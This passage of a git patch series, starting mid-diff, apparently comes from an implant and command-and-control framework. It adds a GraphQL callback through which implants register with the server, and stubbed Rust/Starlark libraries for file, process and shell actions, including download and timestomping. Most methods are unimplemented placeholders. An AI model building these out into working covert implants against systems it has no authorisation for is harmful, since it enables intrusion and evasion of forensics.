Implant struct{ ID int } } + } + err := gqlClient.Post(mut, &resp, + client.Var("input", input), + client.AddHeader("X-Auth", authToken), + ) + + // Run checks with error (if any) and resulting ImplantID + for _, check := range checks { + check(t, resp.Callback.Implant.ID, err) + } + } +} diff --git a/graphql/mutation.resolvers.go b/graphql/mutation.resolvers.go index 3de228e5a..e27b7b3eb 100644 --- a/graphql/mutation.resolvers.go +++ b/graphql/mutation.resolvers.go @@ -7,8 +7,61 @@ import ( "context" "github.com/kcarretto/realm/ent" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/viewer" ) +func (r *mutationResolver) Callback(ctx context.Context, info CallbackInput) (*CallbackResponse, error) { + // Get the viewer + vc, err := viewer.ImplantFromContext(ctx) + if err != nil { + return nil, err + } + + // Get the implant config based on the viewer + configID, err := r.client.ImplantConfig.Query(). + Where( + implantconfig.AuthToken(vc.AuthToken), + ). + OnlyID(ctx) + if err != nil { + return nil, err + } + + // Load the target + target, err := r.client.Target.Get(ctx, info.TargetID) + if err != nil { + return nil, err + } + + // Upsert the implant + impQuery := r.client.Implant.Query(). + Where(implant.SessionID(info.SessionID)) + + var imp *ent.Implant + if exists := impQuery.Clone().ExistX(ctx); exists { + impID := impQuery.OnlyIDX(ctx) + imp = r.client.Implant.UpdateOneID(impID). + SetProcessName(info.ProcessName). + SaveX(ctx) + } else { + imp = r.client.Implant.Create(). + SetSessionID(info.SessionID). + SetProcessName(info.ProcessName). + SetConfigID(configID). + SetTarget(target). + SaveX(ctx) + } + + // Format the response + resp := CallbackResponse{ + Implant: imp, + } + + return &resp, nil +} + func (r *mutationResolver) CreateTarget(ctx context.Context, target CreateTargetInput) (*ent.Target, error) { return r.client.Target.Create(). SetName(target.Name). diff --git a/graphql/schema/implant.graphql b/graphql/schema/implant.graphql index 771820e12..9a679d092 100644 --- a/graphql/schema/implant.graphql +++ b/graphql/schema/implant.graphql @@ -30,4 +30,8 @@ type Implant implements Node { target: Target! config: ImplantConfig! +} + +type CallbackResponse { + implant: Implant! } \ No newline at end of file diff --git a/graphql/schema/mutation.graphql b/graphql/schema/mutation.graphql index 06cb8bcaa..49d4c96e2 100644 --- a/graphql/schema/mutation.graphql +++ b/graphql/schema/mutation.graphql @@ -1,10 +1,18 @@ # Schema for all mutations that the Graph API supports. type Mutation { + callback(info: CallbackInput!): CallbackResponse! createTarget(target: CreateTargetInput!): Target! createCredential(credential: CreateCredentialInput!): Credential! } +input CallbackInput { + targetID: ID! + sessionID: String! + configName: String! + processName: String! +} + input CreateTargetInput { name: String! forwardConnectIP: String! From 8dc5c06db5494889ad4ef51971842e138b7c5bb0 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 23 Feb 2022 06:43:10 +0000 Subject: [PATCH 17/56] gett the initial starlark setup --- .devcontainer/devcontainer.json | 10 ++++- cmd/implants/eldritch/Cargo.toml | 4 ++ cmd/implants/eldritch/rust-toolchain | 2 + cmd/implants/eldritch/src/lib.rs | 59 +++++++++++++++++++++++++--- 4 files changed, 68 insertions(+), 7 deletions(-) create mode 100644 cmd/implants/eldritch/rust-toolchain diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json index a5a4e7412..617336fac 100644 --- a/.devcontainer/devcontainer.json +++ b/.devcontainer/devcontainer.json @@ -8,7 +8,7 @@ "RUST_VARIANT": "buster", // Options "NODE_VERSION": "lts/*" - } + }, }, "runArgs": [ "--cap-add=SYS_PTRACE", "--security-opt", "seccomp=unconfined" ], @@ -35,4 +35,10 @@ // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. // "remoteUser": "vscode" -} \ No newline at end of file + + // SPEEEEEEED + "mounts": [ + "source=realm-cmd-implants-eldritch-target,target=${containerWorkspaceFolder}/cmd/implants/eldritch/target,type=volume", + "source=realm-cmd-implants-target,target=${containerWorkspaceFolder}/cmd/implants/target,type=volume" + ] +} diff --git a/cmd/implants/eldritch/Cargo.toml b/cmd/implants/eldritch/Cargo.toml index 3661b7f9e..3f4468a81 100644 --- a/cmd/implants/eldritch/Cargo.toml +++ b/cmd/implants/eldritch/Cargo.toml @@ -4,3 +4,7 @@ version = "0.1.0" edition = "2021" [dependencies] +starlark = "0.6.0" +anyhow = "1.0.55" +derive_more = "0.99.17" +gazebo = "0.4.4" \ No newline at end of file diff --git a/cmd/implants/eldritch/rust-toolchain b/cmd/implants/eldritch/rust-toolchain new file mode 100644 index 000000000..2a15383b6 --- /dev/null +++ b/cmd/implants/eldritch/rust-toolchain @@ -0,0 +1,2 @@ +[toolchain] +channel = "nightly-2021-11-22" \ No newline at end of file diff --git a/cmd/implants/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs index dad5f2100..758e3ae5c 100644 --- a/cmd/implants/eldritch/src/lib.rs +++ b/cmd/implants/eldritch/src/lib.rs @@ -1,9 +1,58 @@ #[cfg(test)] mod tests { + use derive_more::Display; + use gazebo::prelude::*; + + use starlark::environment::{GlobalsBuilder, Methods, MethodsBuilder, MethodsStatic}; + use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; + use starlark::{starlark_type, starlark_simple_value, starlark_module}; + use starlark::assert::Assert; + + #[test] - fn it_works() { - let result = 2 + 2; - assert_eq!(result, 4); - } -} + fn test_value_attributes() { + #[derive(Copy, Clone, Debug, Dupe, PartialEq, Display)] + #[display(fmt = "{}", _0)] + struct Bool2(bool); + starlark_simple_value!(Bool2); + + impl<'v> StarlarkValue<'v> for Bool2 { + starlark_type!("bool2"); + + fn get_methods(&self) -> Option<&'static Methods> { + static RES: MethodsStatic = MethodsStatic::new(); + RES.methods(methods) + } + } + impl<'v> UnpackValue<'v> for Bool2 { + fn expected() -> String { + Bool2::get_type_value_static().as_str().to_owned() + } + + fn unpack_value(value: Value<'v>) -> Option { + Some(*value.downcast_ref::().unwrap()) + } + } + + #[starlark_module] + fn globals(builder: &mut GlobalsBuilder) { + const True2: Bool2 = Bool2(true); + } + + #[starlark_module] + fn methods(builder: &mut MethodsBuilder) { + fn invert1(_this: Bool2) -> String { + Ok("blah".to_owned()) + } + } + + let mut a = Assert::new(); + a.globals_add(globals); + a.all_true( + r#" +True2.invert1() == "blah" +"#, + ); + } +} \ No newline at end of file From 1e2534e1f62a06c6aa2063f02fdc146a288a2a7a Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 23 Feb 2022 07:00:13 +0000 Subject: [PATCH 18/56] perf issues fixed and working examplegit add .! --- cmd/implants/eldritch/Cargo.toml | 1 - cmd/implants/eldritch/src/lib.rs | 27 +++++++++++++-------------- 2 files changed, 13 insertions(+), 15 deletions(-) diff --git a/cmd/implants/eldritch/Cargo.toml b/cmd/implants/eldritch/Cargo.toml index 3f4468a81..e73d71e5e 100644 --- a/cmd/implants/eldritch/Cargo.toml +++ b/cmd/implants/eldritch/Cargo.toml @@ -7,4 +7,3 @@ edition = "2021" starlark = "0.6.0" anyhow = "1.0.55" derive_more = "0.99.17" -gazebo = "0.4.4" \ No newline at end of file diff --git a/cmd/implants/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs index 758e3ae5c..503948f0b 100644 --- a/cmd/implants/eldritch/src/lib.rs +++ b/cmd/implants/eldritch/src/lib.rs @@ -1,7 +1,6 @@ #[cfg(test)] mod tests { use derive_more::Display; - use gazebo::prelude::*; use starlark::environment::{GlobalsBuilder, Methods, MethodsBuilder, MethodsStatic}; use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; @@ -11,13 +10,13 @@ mod tests { #[test] fn test_value_attributes() { - #[derive(Copy, Clone, Debug, Dupe, PartialEq, Display)] - #[display(fmt = "{}", _0)] - struct Bool2(bool); - starlark_simple_value!(Bool2); + #[derive(Copy, Clone, Debug, PartialEq, Display)] + #[display(fmt = "Sys")] + struct Sys(); + starlark_simple_value!(Sys); - impl<'v> StarlarkValue<'v> for Bool2 { - starlark_type!("bool2"); + impl<'v> StarlarkValue<'v> for Sys { + starlark_type!("sys"); fn get_methods(&self) -> Option<&'static Methods> { static RES: MethodsStatic = MethodsStatic::new(); @@ -25,25 +24,25 @@ mod tests { } } - impl<'v> UnpackValue<'v> for Bool2 { + impl<'v> UnpackValue<'v> for Sys { fn expected() -> String { - Bool2::get_type_value_static().as_str().to_owned() + Sys::get_type_value_static().as_str().to_owned() } fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) + Some(*value.downcast_ref::().unwrap()) } } #[starlark_module] fn globals(builder: &mut GlobalsBuilder) { - const True2: Bool2 = Bool2(true); + const sys: Sys = Sys(); } #[starlark_module] fn methods(builder: &mut MethodsBuilder) { - fn invert1(_this: Bool2) -> String { - Ok("blah".to_owned()) + fn exec(_this: Sys, _t: String) -> String { + Ok("root".to_owned()) } } @@ -51,7 +50,7 @@ mod tests { a.globals_add(globals); a.all_true( r#" -True2.invert1() == "blah" +sys.exec("whoami") == "root" "#, ); } From 827e0f99e864244271de14f3c1e079b9483bbd47 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Thu, 24 Feb 2022 04:09:49 +0000 Subject: [PATCH 19/56] stubbed out the first version of the eldritch stdlib --- .devcontainer/devcontainer.json | 5 +- cmd/implants/eldritch/src/file.rs | 102 ++++++++++++++++++ cmd/implants/eldritch/src/file/append_impl.rs | 5 + cmd/implants/eldritch/src/file/copy_impl.rs | 5 + .../eldritch/src/file/download_impl.rs | 5 + cmd/implants/eldritch/src/file/exists_impl.rs | 5 + cmd/implants/eldritch/src/file/hash_impl.rs | 5 + cmd/implants/eldritch/src/file/is_dir_impl.rs | 5 + cmd/implants/eldritch/src/file/mkdir_impl.rs | 5 + cmd/implants/eldritch/src/file/read_impl.rs | 5 + cmd/implants/eldritch/src/file/remove_impl.rs | 5 + cmd/implants/eldritch/src/file/rename_impl.rs | 5 + .../eldritch/src/file/replace_all_impl.rs | 5 + .../eldritch/src/file/replace_impl.rs | 5 + .../eldritch/src/file/timestomp_impl.rs | 5 + cmd/implants/eldritch/src/file/write_impl.rs | 5 + cmd/implants/eldritch/src/lib.rs | 55 +++------- cmd/implants/eldritch/src/process.rs | 49 +++++++++ .../eldritch/src/process/kill_impl.rs | 5 + .../eldritch/src/process/list_impl.rs | 5 + .../eldritch/src/process/name_impl.rs | 5 + cmd/implants/eldritch/src/sys.rs | 51 +++++++++ cmd/implants/eldritch/src/sys/exec_impl.rs | 5 + .../eldritch/src/sys/is_linux_impl.rs | 8 ++ .../eldritch/src/sys/is_windows_impl.rs | 8 ++ cmd/implants/eldritch/src/sys/shell_impl.rs | 5 + cmd/implants/imix/rust-toolchain | 2 + cmd/implants/imix/src/linux.rs | 11 +- 28 files changed, 341 insertions(+), 45 deletions(-) create mode 100644 cmd/implants/eldritch/src/file.rs create mode 100644 cmd/implants/eldritch/src/file/append_impl.rs create mode 100644 cmd/implants/eldritch/src/file/copy_impl.rs create mode 100644 cmd/implants/eldritch/src/file/download_impl.rs create mode 100644 cmd/implants/eldritch/src/file/exists_impl.rs create mode 100644 cmd/implants/eldritch/src/file/hash_impl.rs create mode 100644 cmd/implants/eldritch/src/file/is_dir_impl.rs create mode 100644 cmd/implants/eldritch/src/file/mkdir_impl.rs create mode 100644 cmd/implants/eldritch/src/file/read_impl.rs create mode 100644 cmd/implants/eldritch/src/file/remove_impl.rs create mode 100644 cmd/implants/eldritch/src/file/rename_impl.rs create mode 100644 cmd/implants/eldritch/src/file/replace_all_impl.rs create mode 100644 cmd/implants/eldritch/src/file/replace_impl.rs create mode 100644 cmd/implants/eldritch/src/file/timestomp_impl.rs create mode 100644 cmd/implants/eldritch/src/file/write_impl.rs create mode 100644 cmd/implants/eldritch/src/process.rs create mode 100644 cmd/implants/eldritch/src/process/kill_impl.rs create mode 100644 cmd/implants/eldritch/src/process/list_impl.rs create mode 100644 cmd/implants/eldritch/src/process/name_impl.rs create mode 100644 cmd/implants/eldritch/src/sys.rs create mode 100644 cmd/implants/eldritch/src/sys/exec_impl.rs create mode 100644 cmd/implants/eldritch/src/sys/is_linux_impl.rs create mode 100644 cmd/implants/eldritch/src/sys/is_windows_impl.rs create mode 100644 cmd/implants/eldritch/src/sys/shell_impl.rs create mode 100644 cmd/implants/imix/rust-toolchain diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json index 617336fac..1a7d6b9bd 100644 --- a/.devcontainer/devcontainer.json +++ b/.devcontainer/devcontainer.json @@ -38,7 +38,8 @@ // SPEEEEEEED "mounts": [ - "source=realm-cmd-implants-eldritch-target,target=${containerWorkspaceFolder}/cmd/implants/eldritch/target,type=volume", - "source=realm-cmd-implants-target,target=${containerWorkspaceFolder}/cmd/implants/target,type=volume" + "source=realm-cmd-implants-eldritch-target,target=${containerWorkspaceFolder}/cmd/implants/eldritch/target,type=volume", + "source=realm-cmd-implants-eldritch-target,target=${containerWorkspaceFolder}/cmd/implants/imix/target,type=volume", + "source=realm-cmd-implants-target,target=${containerWorkspaceFolder}/cmd/implants/target,type=volume" ] } diff --git a/cmd/implants/eldritch/src/file.rs b/cmd/implants/eldritch/src/file.rs new file mode 100644 index 000000000..305ed0a96 --- /dev/null +++ b/cmd/implants/eldritch/src/file.rs @@ -0,0 +1,102 @@ +mod append_impl; +mod copy_impl; +mod download_impl; +mod exists_impl; +mod hash_impl; +mod is_dir_impl; +mod mkdir_impl; +mod read_impl; +mod remove_impl; +mod rename_impl; +mod replace_all_impl; +mod replace_impl; +mod timestomp_impl; +mod write_impl; + +use derive_more::Display; + +use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; +use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; +use starlark::values::none::NoneType; +use starlark::{starlark_type, starlark_simple_value, starlark_module}; + +#[derive(Copy, Clone, Debug, PartialEq, Display)] +#[display(fmt = "FileLibrary")] +pub struct FileLibrary(); +starlark_simple_value!(FileLibrary); + +impl<'v> StarlarkValue<'v> for FileLibrary { + starlark_type!("file_library"); + + fn get_methods(&self) -> Option<&'static Methods> { + static RES: MethodsStatic = MethodsStatic::new(); + RES.methods(methods) + } +} + +impl<'v> UnpackValue<'v> for FileLibrary { + fn expected() -> String { + FileLibrary::get_type_value_static().as_str().to_owned() + } + + fn unpack_value(value: Value<'v>) -> Option { + Some(*value.downcast_ref::().unwrap()) + } +} + +// This is where all of the "file.X" impl methods are bound +#[starlark_module] +fn methods(builder: &mut MethodsBuilder) { + fn append(_this: FileLibrary, path: String, content: String) -> NoneType { + append_impl::append(path, content)?; + Ok(NoneType{}) + } + fn copy(_this: FileLibrary, src: String, dst: String) -> NoneType { + copy_impl::copy(src, dst)?; + Ok(NoneType{}) + } + fn download(_this: FileLibrary, uri: String, dst: String) -> NoneType { + download_impl::download(uri, dst)?; + Ok(NoneType{}) + } + fn exists(_this: FileLibrary, path: String) -> bool { + exists_impl::exists(path) + } + fn hash(_this: FileLibrary, path: String) -> String { + hash_impl::hash(path) + } + fn is_dir(_this: FileLibrary, path: String) -> bool { + is_dir_impl::is_dir(path) + } + fn mkdir(_this: FileLibrary, path: String) -> NoneType { + mkdir_impl::mkdir(path)?; + Ok(NoneType{}) + } + fn read(_this: FileLibrary, path: String) -> String { + read_impl::read(path) + } + fn remove(_this: FileLibrary, path: String) -> NoneType { + remove_impl::remove(path)?; + Ok(NoneType{}) + } + fn rename(_this: FileLibrary, old: String, new: String) -> NoneType { + rename_impl::rename(old, new)?; + Ok(NoneType{}) + } + fn replace_all(_this: FileLibrary, path: String, pattern: String, value: String) -> NoneType { + replace_all_impl::replace_all(path, pattern, value)?; + Ok(NoneType{}) + } + fn replace(_this: FileLibrary, path: String, pattern: String, value: String) -> NoneType { + replace_impl::replace(path, pattern, value)?; + Ok(NoneType{}) + } + fn timestomp(_this: FileLibrary, src: String, dst: String) -> NoneType { + timestomp_impl::timestomp(src, dst)?; + Ok(NoneType{}) + } + fn write(_this: FileLibrary, path: String, content: String) -> NoneType { + write_impl::write(path, content)?; + Ok(NoneType{}) + } +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/append_impl.rs b/cmd/implants/eldritch/src/file/append_impl.rs new file mode 100644 index 000000000..06ded56fb --- /dev/null +++ b/cmd/implants/eldritch/src/file/append_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn append(_path: String, _content: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/copy_impl.rs b/cmd/implants/eldritch/src/file/copy_impl.rs new file mode 100644 index 000000000..cf448dbe3 --- /dev/null +++ b/cmd/implants/eldritch/src/file/copy_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn copy(_src: String, _dst: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/download_impl.rs b/cmd/implants/eldritch/src/file/download_impl.rs new file mode 100644 index 000000000..0b86e4a00 --- /dev/null +++ b/cmd/implants/eldritch/src/file/download_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn download(_uri: String, _dst: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/exists_impl.rs b/cmd/implants/eldritch/src/file/exists_impl.rs new file mode 100644 index 000000000..faabf403e --- /dev/null +++ b/cmd/implants/eldritch/src/file/exists_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn exists(_path: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/hash_impl.rs b/cmd/implants/eldritch/src/file/hash_impl.rs new file mode 100644 index 000000000..121711a2a --- /dev/null +++ b/cmd/implants/eldritch/src/file/hash_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn hash(_path: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/is_dir_impl.rs b/cmd/implants/eldritch/src/file/is_dir_impl.rs new file mode 100644 index 000000000..0cba5075d --- /dev/null +++ b/cmd/implants/eldritch/src/file/is_dir_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn is_dir(_path: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/mkdir_impl.rs b/cmd/implants/eldritch/src/file/mkdir_impl.rs new file mode 100644 index 000000000..53da8851c --- /dev/null +++ b/cmd/implants/eldritch/src/file/mkdir_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn mkdir(_path: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/read_impl.rs b/cmd/implants/eldritch/src/file/read_impl.rs new file mode 100644 index 000000000..6cf053c72 --- /dev/null +++ b/cmd/implants/eldritch/src/file/read_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn read(_path: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/remove_impl.rs b/cmd/implants/eldritch/src/file/remove_impl.rs new file mode 100644 index 000000000..3d112914e --- /dev/null +++ b/cmd/implants/eldritch/src/file/remove_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn remove(_path: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/rename_impl.rs b/cmd/implants/eldritch/src/file/rename_impl.rs new file mode 100644 index 000000000..4aca5e54b --- /dev/null +++ b/cmd/implants/eldritch/src/file/rename_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn rename(_old: String, _new: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/replace_all_impl.rs b/cmd/implants/eldritch/src/file/replace_all_impl.rs new file mode 100644 index 000000000..a2faf2c47 --- /dev/null +++ b/cmd/implants/eldritch/src/file/replace_all_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn replace_all(_path: String, _pattern: String, _value: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/replace_impl.rs b/cmd/implants/eldritch/src/file/replace_impl.rs new file mode 100644 index 000000000..41e6de21c --- /dev/null +++ b/cmd/implants/eldritch/src/file/replace_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn replace(_path: String, _pattern: String, _value: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/timestomp_impl.rs b/cmd/implants/eldritch/src/file/timestomp_impl.rs new file mode 100644 index 000000000..7e9771fbb --- /dev/null +++ b/cmd/implants/eldritch/src/file/timestomp_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn timestomp(_src: String, _dst: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/write_impl.rs b/cmd/implants/eldritch/src/file/write_impl.rs new file mode 100644 index 000000000..aa44a91ca --- /dev/null +++ b/cmd/implants/eldritch/src/file/write_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn write(_path: String, _content: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs index 503948f0b..c9b85fcf1 100644 --- a/cmd/implants/eldritch/src/lib.rs +++ b/cmd/implants/eldritch/src/lib.rs @@ -1,56 +1,33 @@ +mod file; +mod process; +mod sys; + #[cfg(test)] mod tests { - use derive_more::Display; - - use starlark::environment::{GlobalsBuilder, Methods, MethodsBuilder, MethodsStatic}; - use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; - use starlark::{starlark_type, starlark_simple_value, starlark_module}; + use starlark::environment::{GlobalsBuilder}; + use starlark::{starlark_module}; use starlark::assert::Assert; + use super::file::FileLibrary; + use super::process::ProcessLibrary; + use super::sys::SysLibrary; #[test] - fn test_value_attributes() { - #[derive(Copy, Clone, Debug, PartialEq, Display)] - #[display(fmt = "Sys")] - struct Sys(); - starlark_simple_value!(Sys); - - impl<'v> StarlarkValue<'v> for Sys { - starlark_type!("sys"); - - fn get_methods(&self) -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } - } - - impl<'v> UnpackValue<'v> for Sys { - fn expected() -> String { - Sys::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } - } - + fn test_library_bindings() { #[starlark_module] fn globals(builder: &mut GlobalsBuilder) { - const sys: Sys = Sys(); - } - - #[starlark_module] - fn methods(builder: &mut MethodsBuilder) { - fn exec(_this: Sys, _t: String) -> String { - Ok("root".to_owned()) - } + const file: FileLibrary = FileLibrary(); + const process: ProcessLibrary = ProcessLibrary(); + const sys: SysLibrary = SysLibrary(); } let mut a = Assert::new(); a.globals_add(globals); a.all_true( r#" -sys.exec("whoami") == "root" +dir(file) == ["append", "copy", "download", "exists", "hash", "is_dir", "mkdir", "read", "remove", "rename", "replace", "replace_all", "timestomp", "write"] +dir(process) == ["kill", "list", "name"] +dir(sys) == ["exec", "is_linux", "is_windows", "shell"] "#, ); } diff --git a/cmd/implants/eldritch/src/process.rs b/cmd/implants/eldritch/src/process.rs new file mode 100644 index 000000000..e72f78c0c --- /dev/null +++ b/cmd/implants/eldritch/src/process.rs @@ -0,0 +1,49 @@ +mod kill_impl; +mod list_impl; +mod name_impl; + +use derive_more::Display; + +use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; +use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; +use starlark::values::none::NoneType; +use starlark::{starlark_type, starlark_simple_value, starlark_module}; + +#[derive(Copy, Clone, Debug, PartialEq, Display)] +#[display(fmt = "ProcessLibrary")] +pub struct ProcessLibrary(); +starlark_simple_value!(ProcessLibrary); + +impl<'v> StarlarkValue<'v> for ProcessLibrary { + starlark_type!("process_library"); + + fn get_methods(&self) -> Option<&'static Methods> { + static RES: MethodsStatic = MethodsStatic::new(); + RES.methods(methods) + } +} + +impl<'v> UnpackValue<'v> for ProcessLibrary { + fn expected() -> String { + ProcessLibrary::get_type_value_static().as_str().to_owned() + } + + fn unpack_value(value: Value<'v>) -> Option { + Some(*value.downcast_ref::().unwrap()) + } +} + +// This is where all of the "process.X" impl methods are bound +#[starlark_module] +fn methods(builder: &mut MethodsBuilder) { + fn kill(_this: ProcessLibrary, pid: i32) -> NoneType { + kill_impl::kill(pid)?; + Ok(NoneType{}) + } + fn list(_this: ProcessLibrary) -> Vec { + list_impl::list() + } + fn name(_this: ProcessLibrary, pid: i32) -> String { + name_impl::name(pid) + } +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/process/kill_impl.rs b/cmd/implants/eldritch/src/process/kill_impl.rs new file mode 100644 index 000000000..74d122e1c --- /dev/null +++ b/cmd/implants/eldritch/src/process/kill_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn kill(_pid: i32) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/process/list_impl.rs b/cmd/implants/eldritch/src/process/list_impl.rs new file mode 100644 index 000000000..ac0a21ca0 --- /dev/null +++ b/cmd/implants/eldritch/src/process/list_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn list() -> Result> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/process/name_impl.rs b/cmd/implants/eldritch/src/process/name_impl.rs new file mode 100644 index 000000000..4e370a036 --- /dev/null +++ b/cmd/implants/eldritch/src/process/name_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn name(_pid: i32) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys.rs b/cmd/implants/eldritch/src/sys.rs new file mode 100644 index 000000000..d9d20b4ff --- /dev/null +++ b/cmd/implants/eldritch/src/sys.rs @@ -0,0 +1,51 @@ +mod exec_impl; +mod is_linux_impl; +mod is_windows_impl; +mod shell_impl; + +use derive_more::Display; + +use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; +use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; +use starlark::{starlark_type, starlark_simple_value, starlark_module}; + +#[derive(Copy, Clone, Debug, PartialEq, Display)] +#[display(fmt = "SysLibrary")] +pub struct SysLibrary(); +starlark_simple_value!(SysLibrary); + +impl<'v> StarlarkValue<'v> for SysLibrary { + starlark_type!("sys_library"); + + fn get_methods(&self) -> Option<&'static Methods> { + static RES: MethodsStatic = MethodsStatic::new(); + RES.methods(methods) + } +} + +impl<'v> UnpackValue<'v> for SysLibrary { + fn expected() -> String { + SysLibrary::get_type_value_static().as_str().to_owned() + } + + fn unpack_value(value: Value<'v>) -> Option { + Some(*value.downcast_ref::().unwrap()) + } +} + +// This is where all of the "sys.X" impl methods are bound +#[starlark_module] +fn methods(builder: &mut MethodsBuilder) { + fn exec(_this: SysLibrary, path: String, args: Vec, disown: Option) -> String { + exec_impl::exec(path, args, disown) + } + fn is_linux(_this: SysLibrary) -> bool { + is_linux_impl::is_linux() + } + fn is_windows(_this: SysLibrary) -> bool { + is_windows_impl::is_windows() + } + fn shell(_this: SysLibrary, cmd: String) -> String { + shell_impl::shell(cmd) + } +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys/exec_impl.rs b/cmd/implants/eldritch/src/sys/exec_impl.rs new file mode 100644 index 000000000..b67fb62c2 --- /dev/null +++ b/cmd/implants/eldritch/src/sys/exec_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn exec(_path: String, _args: Vec, _disown: Option) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys/is_linux_impl.rs b/cmd/implants/eldritch/src/sys/is_linux_impl.rs new file mode 100644 index 000000000..c8f2b483c --- /dev/null +++ b/cmd/implants/eldritch/src/sys/is_linux_impl.rs @@ -0,0 +1,8 @@ +use anyhow::Result; + +pub fn is_linux() -> Result { + if cfg!(target_os = "linux") { + return Ok(true); + } + Ok(false) +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys/is_windows_impl.rs b/cmd/implants/eldritch/src/sys/is_windows_impl.rs new file mode 100644 index 000000000..9b645b063 --- /dev/null +++ b/cmd/implants/eldritch/src/sys/is_windows_impl.rs @@ -0,0 +1,8 @@ +use anyhow::Result; + +pub fn is_windows() -> Result { + if cfg!(target_os = "windows") { + return Ok(true); + } + Ok(false) +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys/shell_impl.rs b/cmd/implants/eldritch/src/sys/shell_impl.rs new file mode 100644 index 000000000..0d28960a0 --- /dev/null +++ b/cmd/implants/eldritch/src/sys/shell_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn shell(_cmd: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/imix/rust-toolchain b/cmd/implants/imix/rust-toolchain new file mode 100644 index 000000000..2a15383b6 --- /dev/null +++ b/cmd/implants/imix/rust-toolchain @@ -0,0 +1,2 @@ +[toolchain] +channel = "nightly-2021-11-22" \ No newline at end of file diff --git a/cmd/implants/imix/src/linux.rs b/cmd/implants/imix/src/linux.rs index f7a43bcaf..868d4021c 100644 --- a/cmd/implants/imix/src/linux.rs +++ b/cmd/implants/imix/src/linux.rs @@ -3,9 +3,12 @@ use std::path::PathBuf; use rand::Rng; use std::process::Command; +use super::graphql; +use 